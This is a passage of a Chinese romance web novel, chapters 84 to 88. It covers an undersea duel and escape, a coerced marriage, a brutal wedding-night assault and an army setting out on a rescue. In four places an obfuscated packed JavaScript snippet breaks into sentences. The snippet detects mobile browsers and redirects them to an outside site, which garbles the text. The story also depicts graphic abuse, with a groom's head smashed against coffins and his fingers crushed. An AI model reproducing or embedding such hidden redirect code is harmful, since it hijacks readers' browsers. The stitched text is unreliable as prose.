君羲并不想和他们逞口舌之快,只想以最快的速度激怒对手,然后一举将他们全部击破,用绝对的**他们,不敢再对她的男人有想法。
“一群废物,若你们一起上尚有头发丝那么细的一丝成功几率。”
她负手而立,也不管对面的七个雌性鲛人她气得胸膛剧烈起伏。
君羲甚至还有闲心观察周围的环境。
难怪!没有人找到过南海鲛人一族的聚居地,原来鲛人族真的位于深海海底,奇特的是,到了深海最深处反而没有让人窒息的水压、海水的填充,就算是人族也能在此顺利活下去。
“不知天高地厚!”
君羲灵活一躲,擂台上的七个雌性鲛人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666053|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中,武功最高的也不过六重武者,还不如她中五石散后,根基受损的内力。
“搞偷袭?”
“碰!”
君羲伸出一只手,然后弹起一根食指。
“一个。”
“欺人太甚!”
周围的鲛人总算被激怒,蜂拥而上。
君羲等的就是这个机会,狼如杨群般所向披靡。
若是一个个地打过去,就会违背对阿西的承诺,温酒变凉之前不可能打完。
只有一网打尽,才能够加快她解决问题的速度。
被君羲一掌打飞,正在吐血的那个雌性鲛人试图提醒擂台上剩下的人,别硬扛!
她们打包在一块都打不过对面这个女人,因为她清楚地感知到那一掌君羲不过才用了五成功力而已。
说明这女人的内力深不可测,远远不是她们能比的,不过一个男人罢了,不值得她们为了他搭上自己!
“撤。”
“想走,问过我的意见了吗?”
君羲沉下眸,周身气势骇人。
“咚!碰!铛……”
不过短短几个呼吸间的功夫,擂台上便胜负已分。
围观的鲛人咽了咽口水,外面的人类都这么厉害的吗?
太可怕了,要知道台上的七个雌性鲛人可都是族中长老亲自培养出来的继承人,她们居然都不是溟汐的对手。
“阿汐,酒没凉吧?”
溟汐全然被君羲迷住了,君羲为他而战的画面让他终生难忘。
他任由女人捧起他的脸,乖乖地摇头。
“没有。”
君羲:可爱**。
吧唧一口亲溟汐唇上,她刚刚同她们比赛可是下了重手,想必,今夜不会太平了。
为了保证计划能够顺利进行,溟汐是不能出一点差错的。
君羲央着溟霜取她心头血一小瓶,用内力亲手制作了一个和溟汐送给他的琉璃瓶。
一样的材质、图案,一看便知道是一对那种。
“阿汐,别怕,孤会保护你。”
时间飞快流逝,夜幕降临。
鲛人族老被惊动,盛怒之下,险些毁了鲛人族隐居地。
“好大的胆子!居然敢伤我的孙女!”
“可怜我的孙女,今年不过才双八年华,便被废了经脉,成了一介废人,都怪那个心狠手辣的女人!”
“依我看,不如……”
那身材偏瘦的族老比了个划脖子的动作。
一番激烈讨论后,她们终于如君羲所愿,倾巢出动,追杀她。
人算不如天算,君羲没想到的是,她不通水性,刚跑出一段距离,就差点被淹死……
“她们在那!给本族老追!”
溟汐心中焦急,后面的族老都是黑心老怪,不能被抓住!
他带君羲来鲛人族时,是和她共享鲛珠,这才保证了君羲能够在深海中呼吸。
但是,短时间内,鲛珠只能共享一次。
鲛人族族的是天生的福祉,有一个天生的透明屏障将海水全都阻拦在外,就是想到这个,溟汐才将君羲带了回来。
谁成想……
溟汐抱着君羲,不管了,长长的黑色鱼尾一摆,冲出包围圈。
大量鱼群围绕在她们周围,身后是凶神恶煞的追兵,身前是越来越蓝的海水,鱼群在周围起舞,游来游去。
天光穿透大海,从海里往外看,像极了绚丽的极光。
“唔……”
溟汐一边抱着君羲往上游,一边给她渡气。
蔚蓝的深海中,窒息的眩晕里,雄性鲛人和人类女人唇齿相交,呼吸深深交缠。
“羲羲,我爱你。”
身为鲛人族皇族血脉的海中霸主——溟汐,终于全心全意甘愿拜倒咋就君羲石榴裙下!
第85章 阿汐,我也爱你
湿冷的海水将溟汐和君羲包围,强烈的窒息感让君羲意识空茫,唯一能清晰感受到的,是男人温柔的渡气。
她第一次见溟汐在海水中的模样,矫健有力,快如闪电。
真不愧是她的夫郎。
她大口大口接过男人渡过来的空气,溟汐吻得忘情,也不忘用锋利的尾回击追兵。
他喜欢这种被女人全身心依赖着的感觉,有种君羲非他不可的错觉。
任何存了打扰心思的人,都会被他毫不犹豫地抹杀!
水中,一切声音都显得很寂静。
追来的鲛人都是族老的亲卫,装备精良、悍不畏死。
她们只抱着一个目的,杀了君羲。
唰、唰……
利尾划破肌肤,鲛人族特有的蓝色血液溢出,犹如蓝色的墨液滴入海水中,很快便消弭于无形。
唯有淡淡萦绕在鼻间的血腥味能够证明这场厮杀的存在,不,或许根本算不上是厮杀,而是溟汐单方面的**!
他抱着君羲迅速往上游,渐渐地,能看见渐亮的天光。
海天交接之处,一线红色将海天分隔开来,并将周围淡淡的云彩渲染层亮目的暖色。
噗!
出水声响起,海面上浮现一圈鲛人尸体。
溟汐抱着女人,露出海面。
二人的长发,一银一黑,如同这世上最柔顺的丝绸,随着波动的海面纠缠又分开,分开又交缠。
淡淡的金光洒在二人的脸庞,以及交缠的发上,宛如一场绮丽的梦境。
“羲羲,她们没伤到你吧?”
刚出海面,溟汐就捧着君羲的脸左右查看,生怕他没有将女人保护好。
君羲此刻大口大口呼吸着新鲜的空气,缓解窒息的感觉,生理性泪水不由自主从眼角溢出,看上去水光盈盈,惹人怜爱。
她微微摇头,声音也软绵绵的,让溟汐心疼。
“阿汐,孤没事。”
虽然君羲说自己没事,但溟汐还是很自责。
他觉得是自己没有将女人保护好,所以才让君羲现在这般虚弱,不复以前的意气风发、耀眼夺目。
怜惜中夹杂着愧疚的吻,落在女人的眼角。
“羲羲,我们暂时还不能停下,新的追兵很快就会到。”
溟汐纵然实力高强,但终归是一个人。
鲛人族的七位族老把控鲛人族时间已久,势力根深蒂固,面对族中七位族老的联合追杀,溟汐能做到将君羲毫发无伤送出,已经是很厉害了。
而且,只要君羲一刻没离开南海范围,自身就会多一分危险。
溟汐对族老的心狠手辣深有体会。
既然出手了,就绝对不会喊停。
所以,他们现在很危险。
认真的男人最帅,君羲看着一心为她着想,满目认真的溟汐,心中触动又多了一分。
“阿汐,别忘了,孤也不是软柿子。”
算上在鲛人族的这三日,凤羽军后出发的十万大军想必此刻已经兵临漾州、绥州。
而她早早便让溟朝去通风报信,凤羽军之所以被称为神兵,是因为凤羽军几乎无所不能。
包含水军、步兵、轻骑兵、重骑兵……
凤羽军士兵,以一挑百可不是戏言。
君羲眯起眼,根据升起的朝阳辨别方向,素手一指。
“阿汐,朝那边去。”
溟汐信任君羲,问都不问缘由,头也不回地拨开周围的鲛人尸体,朝着君羲手指的方向游去。
君羲被溟汐护在怀中,双手环抱在男人性感的脖颈上,从她的角度,能看到男人微动的喉结,线条明晰的下颚线,以及抱着她腰身的有力臂膀。
肌肉线条流畅,染上水被朝阳的光照上,原本冷白的肌肉呈现出诱人的蜜色。
君羲想起……这双臂膀难耐又克制地掐住她细腰时,是强势不容拒绝的。
但当这双臂膀温柔轻抚她轻抖的后时、替她稳住摇摇欲坠的身体时,又是温柔充满爱意的。
上一世,她对溟汐的宠,来得肤浅又短暂。
这一世,了解溟汐了解得越深,她就越发喜爱这个一心是她的男子。
溟汐的每一面,她都好喜欢。
或许是吊桥效应,又或许心中坚冰融化。
君羲此时此刻,对笼罩在金色暖光中的溟汐,心中的爱意达到了顶峰。
她将侧脸埋在男人的胸膛,听到平稳有力的心跳。
一个虔诚的吻,在朝阳晨曦中,轻轻又郑重地落在溟汐的心口上。
“阿汐,我也爱你。”
……
花开两朵,各表一枝。
沈长卿本以为自己真的要**,临死前,上一次的种种记忆在他脑海中不断地浮现。
他终于看到自己和君明月的悲惨结局……
沈长卿满心愤怒,原来,上一世他就死得惨烈。
身体在不断地下沉,灯光交映的湖面离他越来越远,身后的黑暗宛如一张巨兽的大口,要将他一口吞下,再也不见天日。
沈长卿好恨,恨老天明明给了他重生的机会,却让他重生了记忆,并不完全。
恨君羲明明**,却还连累他和爱人被愤怒的百官、百姓处以极刑,全尸都没有留下一具。
恨君羲这一世不按上一世来,让他无辜枉死……
好恨!
沈长卿双目充血,一连串水泡从他口中吐出,他能感觉到,自己马上就要**。
谁……
谁能来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666054|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
救救他。
他真的不想死!
堂堂漾州第一公子,才貌双绝,如今却死得这样悄无声息,让沈长卿如何心甘?
沈长卿瞪着一双眼,大到骇人。
好像真的有人……
沈长卿看到有几道身穿黑衣的身影朝他游来,支撑他坚持到现在,紧绷着的弦一松,他整个人意识陷入了黑暗。
只依稀记得,他被人救了。
岸上传来焦急的呼救声。
“有人落水了!”
紧接着,他的腹部被人用力地按压着,沈长卿睁开眼,尚未看清救他之人的容貌,便听到周围越来越嘈杂的议论声。
“王爷!不行!你腿有伤……”
“是长卿公子?”
“真的是他,安王和长卿公子……”
安王?
沈长卿脑海中浮现一个名字,君凌。
夜间的风凉,尤其是沈长卿浑身都被水浸湿了,此刻不由自主地朝暖源靠近,四肢紧紧缠在女人身上。
沈长卿显然还对险些溺死的事情心有余悸,君凌就是他的救命稻草。
沈思文听到消息赶来,还在心中一直安慰自己,他们撞见的人说不定只是和长卿有些相像……
她还做着飞黄腾达,成为当朝太女岳母的美梦,却在跌跌撞撞挤开人群,看到湿衣相拥的男女时,深觉天塌了!
“长卿!”
陡然尖厉的嗓音吓周围人一跳,也唤回了沈长卿的思绪。
抱着君凌的手蜷缩,他脸色一白,唇瓣嗫嚅,有些难以置信。
“安王殿下,是你救了我?”
君凌从沈长卿的眼中看出了明晃晃的抗拒和厌恶,这让她心里扭曲地感受到愉悦。
像湿冷的蚂蝗,她冰凉的手抚摸在沈长卿瑟缩的脸蛋上,看似温柔,却让沈长卿浑身发抖。
“是啊。”
她画风一转,转而剧烈咳嗽起来,咳嗽声震天响地,仿佛要将肺都咳出来。
君凌的人会意,按照君凌的吩咐大声指责沈思文。
“沈县丞,王爷乃是千金之躯,为了救贵公子险些把自己搭进去,这笔账……安王府会好好跟沈府算算。”
她语带威胁,伸手欲扶君凌起身。
君凌摇了摇头,“不可无礼,不过举手之劳,何足挂齿?”
她歉意松开沈长卿,接过一旁女侍给她送来的披风,亲手系在沈长卿身上。
“本王身体不打紧,就是连累了长卿公子的名声,哎……”
“若是长卿公子不嫌弃,本王愿迎娶你做本王的侧夫,就当做补偿了。”
她浅笑着,听着周围人对沈长卿议论纷纷。
众口铄金,积毁销骨。
沈长卿,你嫁还是不嫁?
第86章 喜闻乐见,沈长卿被逼迫
君凌就是典型的笑面虎,沈长卿看出君凌眼底暗藏的压迫和势在必得的决心。
他心中苦涩,为何……
偏偏救他的人,是君凌。
君凌双腿残废,性格阴晴不定,尤其喜欢在床笫间折磨男人。
她娶过三任王夫,都是被残忍折磨而死,更别提那些地位的小侍。
他一点也不想嫁给君凌,但沈长卿明白,事到如今,已经不是他说不愿就能不嫁的了。
众目睽睽之下,湿身同一个女子抱在一起,已然是没了清白。
“我……”
君凌温柔摸了摸沈长卿湿透的发,温声安慰道:
“别害怕,无论你做什么决定,本王都会毫无保留地支持你。”
沈长卿想躲,溺水后浑身无力根本躲不开,只能感受像被蚂蝗附在身体上,紧紧吸附、吸血的可怕。
他还能说否定的答案吗?
沈长卿最是知道什么叫做识时务者为俊杰,他现在还没有和一国王爷叫板的资格。
若是,明月在这里就好了。
沈长卿脑中灵光一现,对啊,明月在这里!
明月身份可比君凌尊贵多了,若是明月开口向君凌讨要他,想必君凌根本不敢拒绝。
他扛着压力不愿开口答应,余光焦急地扫视四周,企图在人群中,寻找到熟悉的身影。
可是,为什么没有?!
偏偏君凌还不放过他,问道:
“怎么,长卿公子可是还有什么顾虑?还是说……”
君凌面色一冷,语气不善。
“漾州第一公子自持身份,看不上本王的侧夫之位?”
沈长卿还未回答,他真的不甘心,好不容易重活一世,君羲对他并没有生出强取豪夺之心,他可以同心爱之人厮守一生。
君明月就在这里,他不愿和她再次错过。
君凌周身气压越来越低,她误以为沈长卿在寻找的人是君羲。
沈思文的算计并不高明,君凌在沈府有眼线,轻而易举就能猜到沈思文母子的想法,无非是想攀龙附凤、企图一步登天。
君凌厌恶君羲,她不明白,为什么有人愿意送上自己最宠爱的儿子讨好一个**?
难道就因为君羲的太女身份?
君凌原本没打算救沈长卿,她坐在小舟上,眼睁睁看着沈长卿绝望溺水。
最后关头,她看到了沈长卿眸底极致的恨意,敌人的敌人,就是她的朋友。
于是,君凌下令,让手下救了沈长卿。
但她君凌,从来不做赔本的买卖,沈长卿姿色不错,可以做她手中赏心悦目的那一颗棋子。
“长卿公子在看谁?”
君凌语气危险,任谁都能从她压低的气场中,看出她已经怒极。
“难不成,长卿公子是有了心仪之人?”
“如此说来,倒是本王做了棒打鸳鸯的恶人,对不住啊。”
君凌三言两语,便将沈思文母子架在火架上烤,字字句句看似真诚恳切、有理有据,实际上,每一句都是在将沈长卿往火堆里推。
大凰王朝,男子同女子私奔,是死罪。
甚至会连累族中兄弟,更有甚者,会拖累整个家族。
沈长卿脑子很乱,周围站着的人群,对着他指指点点,就好像他是什么水性杨花的荡夫。
他何曾受过这样的委屈?
他一时没反应过来,沈思文明明给他说了,君明月就在画舫上,为何迟迟不见她露面。
沈思文再一次替沈长卿做了决定,“扑通”一声重重跪在地上,膝行着到君凌面前。
“安王殿下言重了,小儿蒲柳之姿,岂敢肖想王爷千金之躯?”
君凌并不满意沈思文推诿般的回答,看来,在这位沈县丞心中,她和当朝太女比起来,只不过是一堆烂泥。
可惜,她沈思文母子越是想拒绝,君凌就越想抢夺沈长卿。
她很好奇漾州第一公子被压在身体下的滋味究竟如何?同南风馆中的小倌又有何区别?
“沈县丞不必多说,既然是本王毁了贵公子的清白,那便会负责到底。”
“三日后便是良辰吉日,本王会亲自过府,迎娶沈家嫡长子——沈长卿为侧夫。”
君凌最后拍了拍沈长卿的脸,借着手底下人的力度重新蜷缩在轮椅上,眉眼阴鸷。
“长卿公子可要准时赴约哦,不然,本王生气起来,可是会屠你满族的~哈哈哈。”
沈长卿捏紧拳头,终于回想起沈思文的不对劲。
从始至终,都是他亲生母亲布下的骗局,是为了让他攀附权势,然后带领家族再创辉煌。
沈长卿失魂落魄跌坐在地,明月根本没在这,他除了嫁给安王,别无他法。
更何况,只要不是嫁给君羲,沈思文的野心就得不到满足。
这是他对沈思文的报复。
不是把他当做攀附权贵的工具吗?他要让沈思文知道,工具脱离掌控,变作尖刀,反捅一刀的感觉。
沈长卿坚定了神色,反正明月不在这,嫁给谁都无所谓。
他的心里永远装着明月一人,这便足够。
沈长卿想清楚了这些,眼眶里含着泪水,扬起一抹浅笑。
“王爷,臣子愿意。”
“哦?”
君凌盘着手腕上的檀木珠,眼底
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666055|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
神色不辨喜怒,手动推着轮椅行驶到沈长清跟前,强势抬起他苍白湿冷的下巴,眸光带着浓浓的审视意味。
“长卿公子真的愿意?不觉得嫁给一个残疾人委屈了?”
沈长卿梗着脖子,就像一只引颈就戮的天鹅。
有上一世的记忆帮助,沈长卿清楚知道,对付不同类型的女人,该摆出怎样的姿态。
就比如……
面对性格阴晴不定,爱掌控男子的君凌,扮演楚楚可怜、毫无反抗之力的脆弱天鹅,便能在最大程度上激起他对弱者的怜悯和满足他病态掌控欲的快感。
他要一步一步,夺得君凌的心,然后进一步掌控,才好为他和明月筹谋一个未来。
“回安王殿下话,臣子对安王殿下仰慕已久,刚刚不过是溺了水之后还心有余悸,这才反应慢了些。”
他悄然红了脸,身若蚊蝇。
“能嫁给殿下,是我八辈子修来的福分,怎会不愿?”
君凌看着说谎不脸红的沈长卿,捏住他苍白下巴的手,愈发用力了些,很快便出现了一道红痕,看上去刺眼极了。
“既如此,本王便安心了。”
沈长卿主动将脸贴在君凌手腕,羽毛落在湖面般,轻蹭。
“殿下,长卿在沈府等你迎娶。”
沈思文目眦欲裂,脑子里一阵阵发黑。
精心培养出来的绝色儿子没能帮她攀附上大凰王朝最珍贵的女子,反而嫁给了一个双腿残废的废物。
“不……”
安王冷眼,沈思文抖了下身子,终归是什么都没说。
但她实在郁闷,天时地利人和!她不明白,究竟为何会棋差一招?
沈思文闭了闭眼,心中悲嚎,苍天无眼啊!
“岳母大人可是不同意本王和长卿的婚事?”
君凌相对君羲来说,是手下败将,但对沈思文来说,就是盘踞在漾洲、绥州的土皇帝,根本不受任何约束。
明明之前,君凌从未表现出对沈长卿有意思,怎么偏偏这次坏了事?
沈思文悔不当初,越想越气,美梦破碎,野心夭折,她眼睛滴溜溜一转,若是操作得当,沈长卿嫁给君凌还有可能变成意外之喜。
她身为女人,最清楚天下女人的劣根性。
家花不如野花香,野花又不如抢的花香。
妹妹的夫郎,啧啧,还是死对头的夫郎,被不情不愿娶进去的弱男子……
沈思文似乎幻视了君羲对沈长卿一见钟情的画面,也就不在阻拦。
“王爷千岁,臣愿意将嫡长子许配给王爷。”
君凌点点头。
“如此甚好。”
第87章 轮椅压手,还不快滚起来拜堂?
沈长卿瘫软在君凌怀里,看着自己的婚事被母亲当做筹码押注,三言两语定下了潦草婚期。
他突然有一种荒谬感,世事当真如此阴差阳错?
苦心谋划却求而不得。
两世为人,他不过想和心爱的女人一生一世一双人,这么渺小的心愿,都不能得偿……
沈长卿和君凌的婚期定在三日后,恰巧是君羲和溟汐二人逃离海底追杀的时间。
也是——
凤羽军大军压境,倭寇进犯海岸线的日子。
三月初七,黄道吉日,迎亲唢呐声响起。
漾州第一公子,无数女子的梦中情夫嫁人了。
没有十里红妆,更没有三书六礼,明媒正娶。
一台水红色小轿,送亲队伍抬着简陋敷衍的嫁妆,从偏门进了安王府。
沈长卿眼泪都快哭干了。
上一世,他被君羲看上,沈氏一族得知他即将入宫伺候帝王,无不兴高采烈,给他备的嫁妆倾尽沈氏一族百年大半积累。
哪像现在这么上不得台面。
他回想起母亲失望的眼神,以及族中人如丧考妣的脸色……
哪里是接亲?更像是奔丧。
同一时间,安王府。
君凌娶沈长卿本就是一时兴起,只不过是为了恶心君羲罢了。
弄清楚事情来龙去脉后,君凌那就是一个后悔,原来,君羲喜欢的人,自始至终都不是沈长卿。
而且,就算中了烈性**,也不愿碰沈长卿半根手指,反而将他丢进千羽湖自生自灭。
“王爷……”
汇报那人嗓音都颤抖了,自从她说完真相后,王爷就黑着一张脸,跟谁欠了她百万银一样。
君凌心头怒起,君羲中了药都不屑碰的男人,她却眼巴巴救了回来,还一顶喜轿抬进安王府。
岂不是在昭告天下人,他捡了君羲不要的破鞋?
君凌磨了磨后槽牙,无比痛恨昨夜不明真相强娶沈长卿的自己。
“退下。”
那下属如蒙大赦,赶紧低下头,弯着腰退了出去。
君凌坐在轮椅上,特意穿了一身白衣,衬得她那张因长期心情不愉而变得阴柔狠戾的脸越发可怖。
“侧夫呢?”
“回殿下的话,侧夫已经进了偏门,此刻应当已经在月影院中等着殿下了。”
君凌一肚子气没处撒,枯瘦苍白的手指死死抓住轮椅的扶手,若不是沈思文母子俩诡计多端,他怎么会被蒙蔽双眼,娶了沈长卿?
既然嫁给她了,那就好办了。
君凌恶意满满地勾起唇角,希望沈长卿能经受住她的“疼爱”。
“推本王去月影院。”
月影院,沈长卿盖着水红色盖头,由于婚期仓促,他身上的喜袍是由旁的喜袍改造而成,某几处针脚显得随意粗糙,甚至衣袖还短了一节。
沈长卿拼命控制动作,这才不至于将手腕裸露在外,丢人现眼。
人生有四大喜,久旱逢甘霖,他乡遇故知;金榜题名时,洞房花烛夜。
本该是人生大喜的日子,成婚的新郎新娘却一个故意身穿白衣,想找新郎晦气,一个以泪洗面,不甘不愿,哭丧着一张脸。
君凌不重视这场婚礼,根本没请宾客,整个安王府,只有月影院挂了一些红绸,能证明这场荒谬简陋的婚事存在。
嘎吱嘎吱……
轮椅碾压过地面,发出嘎吱嘎吱的响声,沈长卿想起昨夜阴鸷逼人的女人,如同惊弓之鸟暗,身体瑟缩了一下。
他好怕。
咚!
咚!
咚!
门外的君凌就像在故意折磨沈长卿的心理防线一般,一下隔着一下,敲门声显得诡异而沉闷。
她的嗓音犹如毒蛇般,阴冷嘶哑,让人心里渗得慌。
“爱夫,准备一下,拜堂了。”
沈长卿诧异,君凌不是派心腹告知他不必拜堂吗,怎的又突然改了主意?
她心里到底在打什么算盘?
不知为何,沈长卿的手臂突然炸起鸡皮疙瘩,心里面也****的,有种不祥的预感。
他本打算装哑巴,但外面的敲门声不依不饶,就像索命的厉鬼一样,非要得到他的回应,才肯离去。
沈长卿无法只得回了一句。
“好,准备好就来。”
其实也没什么好准备的,简化了婚礼前的各种流程,没有绣郎精心缝制半年以上的喜袍……
此刻他身上穿戴的,便已经是沈家愿意给的了。
但沈长卿打心眼里惧怕见到毒蛇一样的君凌,抱着能拖一会儿算一会儿的想法,迟迟不肯去喜堂。
君凌已经在临时布置的喜堂等了好一会儿,左等等不到,右等也等不到。
“嗤。”
沈长卿胆子很大嘛,刚嫁进来第一天做侍,就敢堂而皇之,不将她这个妻主放在眼里。
正当安王等得不耐烦想要起身,派人去月影院将人抓回来,强制同安王拜堂时,沈长卿终于姗姗来迟。
“出门打扮的时间多了些,让王爷见笑了。”
“行了,别说那些了,快来拜堂成亲吧。”
拜堂成亲?
沈长卿看清喜房布置后,倒吸一口冷气,强行忍住拔腿就跑的冲动,唇角勉强上扬。
“殿下,是不是来错地方了?”
沈长
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15666056|172981||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卿声音颤抖着,喜糖里面摆的根本不是寻常装饰,而是三口黑漆漆的大棺材。
金色的奠字夺人眼球,也让沈长卿害怕地往后退了三步,若不是君凌强行攥住他的手,把他往棺材面前拖,沈长卿早就狼狈奔逃了。
“王爷,不要……”
“呵,由不得你说不要。”
君凌见沈长卿面色难看,心里舒服极了,她就是典型的自己心里不舒服,也要让别人不舒服的典型。
别看君凌坐在轮椅上,看上去只是一个残废,但想钳制住四肢不勤的沈长卿,轻而易举。
沈长卿几乎是被君凌硬生生往棺材面前拖,下半身在地上拖行,磨得生疼。
君凌就是故意折磨沈长卿,看着他凄惨求饶的样子,她却笑得愈发快活。
“哈哈哈……”
“真不愧是漾洲第一公子,哭起来真是好看呢!”
沈长卿拼命摇着头,想要摆脱女人的桎梏,却不得其法。
反而激怒了君凌,只见残忍的女人一把拉低他的身子,拽住他的头发,头皮被扯得生疼。
然后,君凌将沈长卿狠狠往棺材上一撞,头破血流。
凄惨地惨叫一声。
“啊——”
疼,好疼啊。
鲜血顺着脸颊流下,血红一片,模糊了他的视线。
沈长卿呜咽一声,被伤害时,身体本能地想蜷缩成一团规避外界伤害,但却无能为力。
碰!
沈长卿的头又被君凌扯着往棺材上撞,血流得更多,他甚至觉得四肢在发凉。
难不成那晚没有溺死在千羽湖湖底,现在却要死在喜堂上?
他听到君凌嬉笑着,像个疯子一样,凑近他的耳畔,嘶哑着嗓音告诉他。
“爱夫,这里面都是本王娶过的历届王夫,都是上了皇家玉蝶的,你刚过门,理应给他们敬茶。”
沈长卿的头被撞得稀巴烂,在他快要晕死过去时,君凌若有所感,提起他的头,丢垃圾一样把他甩在地上。
“啧,真是不经折腾,爱夫有空,可得多多锻炼身体。”
沈长卿已经意识不清,抬了抬地上的手指,想要求救。
“疼……娘……”
君凌眼底神色疯狂,沈长卿果真不讨喜,喊什么不好,偏偏要喊娘,触动了她心里最深的伤疤。
嘎吱——
“啊!”
轮椅滚过,毫不留情碾过沈长卿手指,十指连心的疼痛让他痛不欲生。
君凌可不会有什么怜香惜玉之心,他冷冷扫视了一眼在地上凄惨狼狈的新郎。
“吉时马上就到了还躺在地上干什么?还不快滚起来拜堂。”
第88章 妻主,你的三个未婚夫郎也都到了呢
漾州边境,溟朝顺利抵达轻骑军落脚地,见到了凤轻。
“我知道了,你是跟我们一起回去还是在这里待着?”
凤轻能看出溟朝不是弱男子,但,他千里奔袭,一路上不眠不休,铁人也会累。
溟朝刚想说自己可以,想一起去救他的好兄弟,眼前阵阵发黑。
一路上,他脑海中一直紧绷着一根弦,想着要完成对君羲的承诺。身体的疲惫,加上精神的紧绷……
在此刻骤然放松下来,自然坚持不住了。
凤轻自然而然接住昏倒的溟朝。
“你还是乖乖待在这里好好休息吧,我会将殿下和西公子救回来。”
殿下已经给她们指明了营救的方向,若是连这点小事都做不好,她也不配做凤羽军军中一员。
她将劳累过度导致昏迷的鲛人打横抱起,放进自己的营帐,又细心给他盖好了棉被。
走出营帐后,振臂一呼。
“太女殿下需要我等,诸位,随本将出征!”
“杀敌军,救殿下!”
凤染一直盯着海岸线,发现最近的倭寇蠢蠢欲动。
有意思的是,这些倭寇的船就停留在距离海岸十里的地方。
他们既不前进,也不后退。
就仿佛在等,等某种确切的信号,只有等到这个信号后,他们才会进犯海岸线。
貌似是同某些人达成了利益关系,互惠共利。
从始至终,漾州、绥州的高官显贵们,都高高在上,享受着两州百姓的供养,锦衣玉食。
却把供养他们的百姓视作可以随意买卖的牲畜,简直是泯灭人性、猪狗不如!
凤染神色有些微妙,说起来,她能在短时间内将两州情况摸得一清二楚,全都多亏了拜月教的这两位公子。
她摸了摸鼻子,又是殿下的桃花劫,风流事。
“咳,事情就是本统领说的那样,现在,随我去接应太女殿下!”
拜月教不愧是天下第一大教,人力、物力、财力,都不是江湖中的小门小派可比。
现在千羽湖上停着数百艘坚固的战船,全是拜月教友情提供。
天知道凤染和凤轻都准备自掏腰包购买船只时,见到太女殿下未过门的侧夫大手一挥,百艘雄壮精巧的战船在湖面上一字排开,出现在她们面前时,到底有多震惊!
凤染:!
凤轻:!
真不愧是殿下!
殿下虽然不在凤羽军中,凤羽军中却处处留下了殿下的痕迹,就连他们使用的战船,也都是殿下的夫郎准备的。
今天也是被太女殿下魅力折服的一天呢。
凤染和凤轻二人对视一眼,都从对方眼中看到了对太女殿下浓浓的崇拜。
“凤轻,此行前去营救殿下,我将三千人马全部带走,大部队应当马上就会抵达两州边境。”
“到时候你负责给凤羽大人传递信息,将所有叛徒、贪官府邸全都围住,等太女殿下回来,听候发落。”
凤轻在城郊驻扎时间太长,感觉骨头都快生锈了。
她并不想继续待在城郊,而是想去接应太女殿下。
凤轻喜欢和君羲并肩作战的感觉,君羲是一个好统帅,身先士卒,勇猛无双,和太女殿下一同战斗,每每都感觉热血沸腾。
这才是她们女儿郎该做敌人事情。
凤轻拱手抱拳,单膝跪地,主动请缨。
“属下愿领兵前往接应殿下和汐公子,之前都是属下照顾她们,殿下想必也习惯了属下的照顾,属下恳请统领成全!”
凤染:……
凤轻不知道,凤染和她抱着同样的想法。
凤羽军之前忠于君羲不过是忠于储君,但她凤染,此行对太女殿下心服口服!
殿下才不是什么昏君**!
太女殿下一定能成为名垂千古的帝王!
凤染身为前线打探倭寇动向的第一人,自然知道,此去极有可能同倭寇对上到时候,她们面对的将是腹背受敌。
但凤染没有半分惧怕,反而斗志昂扬。
她很期待,太女殿下会如何率领她们突破困境,夺得胜利。
她伸手去扶凤轻抱拳的手,义正言辞道:
“凤轻,你留下替殿下稳定后方,确保海岸线能让我们安全撤离。”
“此行,本统领去即可。”
凤轻见状,嘴角微微,她们俩谁还不知道谁啊?
都是千年的狐狸,跟她在这儿装呢。
但谁让凤染官阶比她高一阶呢?
官大一级压**啊!凤轻心里暗下决心,此次南下剿灭倭寇定要立功,凤羽军奉行强者为王,只要她功绩足够亮眼,那完全可以上位,成为新一任轻骑军统领。
现在嘛……
只能让凤染去了。
凤轻顺着凤染扶她的力道站起身。
“属下遵令!”
凤染身穿银甲,手持**,眉眼间是肃杀和凝重。
腹背受敌,大军未至,海上作战,必定是腥风血雨。
“随本统领出征!”
东方凌和东方炽不放心君羲,也幸好拜月教势大,才能封锁千羽湖,同时盯紧各方势力。
